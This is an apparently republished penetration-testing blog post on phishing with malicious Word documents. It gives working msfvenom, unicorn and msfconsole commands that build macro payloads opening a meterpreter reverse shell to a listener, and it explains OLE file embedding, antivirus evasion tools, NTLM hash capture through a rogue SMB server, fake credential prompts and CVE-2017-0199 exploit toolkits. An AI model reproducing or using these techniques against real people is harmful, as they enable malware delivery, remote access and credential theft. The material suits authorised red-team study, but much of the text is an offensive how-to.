Phishing with Maldocs

There are many ways to run a phishing campaign. The most common of them all is a typical credential harvesting attack, where the attacker sends an email to the target enticing them to click a link to a spoofed website. Running these campaigns are fairly straight forward, and a couple of tools make this very easy to do. The most common of all is likely the Social Engineer Toolkit . SET works great for cloning an existing website and setting up a PHP form to collect credentials. While this technique is very effective, it may also be a good choice to perform phishing attacks with malicious documents.

Macro Attacks

The most common Maldoc is a malicious Microsoft Word document. Typically these will contain embedded Macros which execute a payload when opened. Because of this, modern Windows will usually display two prompts that the user must click through before the payload is executed. Typically they must click “Enable Content” and the subsequently click “Enable Macros”.

There a quite a few ways you can generate these. The most simple way is with Metasploit. As documented here , all you need to do is use msfvenom to generate some malicious visual basic code like so:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe

And then paste it into the Visual Basic Editor.

Set up a listener in the Metasploit framework and wait for the user to enable macros.

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

While you can use multiple encoding types, this attack is likely to get caught by Anti-Virus.

You can use other tools besides msfvenom to generate the VBA code required for the Macro. You can also use Unicorn by TrustedSec . To generate the payload use:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro

And you can catch the meterpreter shell with the same listener you would use with the msfvenom payload.

OLE Attack

If you like Powershell Empire more than Metasploit, Empire also has a stager for office macros. Enigma0x3 has a good blog post on how to do this. Also notable is the OLE attack. Instead of using a macro to execute a payload, you can embed a file within the document itself. By changing the icon, you may be able to trick the user into executing a bat file which contains a malicious payload. This attack is also documented in the same blog post. This attack will prompt the user before executing payload as seen below:

AV Bypass

Because of the success of the Macro attack method, AV vendors have been quick to adapt. If AV is causing an issue, there are a few more tools that you can use to avoid detection. LuckyStrike is a tool that was released at DerbyCon 2016. The author has a lengthy blog post on this tool that is well worth the read. LuckyStrike contains a bunch of obfuscation methods to avoid detection and can even go as far as encrypting the payload ensuring that AV sandbox will never be able to execute it for dynamic analysis.

If Software Restriction Policies or EMET are what is keeping you down, wePWNise might be the tool for you. As MRWLabs explains it on thier website, “It collects information through enumeration of relevant parts of the Registry where various policy security settings are stored, and identifies suitable binaries which are safe to inject code into.”

Capturing Hashes

Now to get into the more exotic methods. A very novel way of capturing NTLM hashes is with a tool named WordSteal . The way WordSteal works is by embedding a reference to a file hosted on a malicious SMB server. When the document is opened, the client will try to connect to the SMB server without any user interaction. This will capture an NTLM handshake and can be sent to a password cracker just as you would do if you were running Responder within the local network. The biggest caveat here is that the client network must be able to initiate SMB connections outbound. This means that they must not be any egress rule blocking port 445. This is not always the case, but if it goes through this is a good way to collect hashes as the user does not have to do anything other than open the document. If you are able to crack domain credentials, there is a good chance you can use Microsoft Outlook to execute a payload within the target environment as described in my blog post here: From OSINT to Internal – Gaining Access from outside the perimeter

Thus attack requires a malicious SMB server. Fortunately, we can stand this up quite easily by using Metasploit. Just run the following module:

use auxiliary/server/capture/smb

And it will output any handshakes that it captures.

Metasploit has the option of outputting this data in a format you can send to Cain and Abel or John the Ripper.

Prompting for credentials

Phishery is another great tool for non-traditional credential harvesting. Phishery is written in Go, and pre-compiled binaries are available here . The way Phishery works is by using HTTP Basic Authentication delivered over SSL. This tool is very easy to use, although to bypass the warnings to the end user you will need to set up a domain with a proper SSL certificate, or they will see this:

After clicking “Yes” or bypassing it all together with a valid certificate, the user will receive an authentication prompt.

If they enter their credentials, you will see them posted back to the listening server.

Exploits

While all these require some level of social engineering, you can also exploit the target with an exploit. Recently CVE-2017-0199 was disclosed by FireEye after it had been found in the wild. This exploit targets RTF files opened with Microsoft Word. MDSec had published a blog post on how to exploit it, and a blogger wrote a step-by-step set of instructions to create a working exploit.

If you don’t want to do this manually, there is also a t oolkit published on GitHub for exploiting this. It can create the RTF file, host the HTA payload, and host an exe that is executed by the HTA file. The only other things you need to make it work are msfvenom and Metasploit, although with some minor modifications it could be used to deliver any other payload as well, such as a Powershell Empire stager.

At the time of this writing, there is a Metasploit module in development for this attack. A pull request has been opened, and will likely be merged into the main branch soon.

稿源:n00py Blog (源链) | 关于 | 阅读提示

本站遵循[CC BY-NC-SA 4.0]。如您有版权、意见投诉等问题,请通过eMail联系我们处理。
酷辣虫 » 综合技术 » Phishing with Maldocs

喜欢 (0)or分享给?

专业 x 专注 x 聚合 x 分享 CC BY-NC-SA 4.0

使用声明 | 英豪名录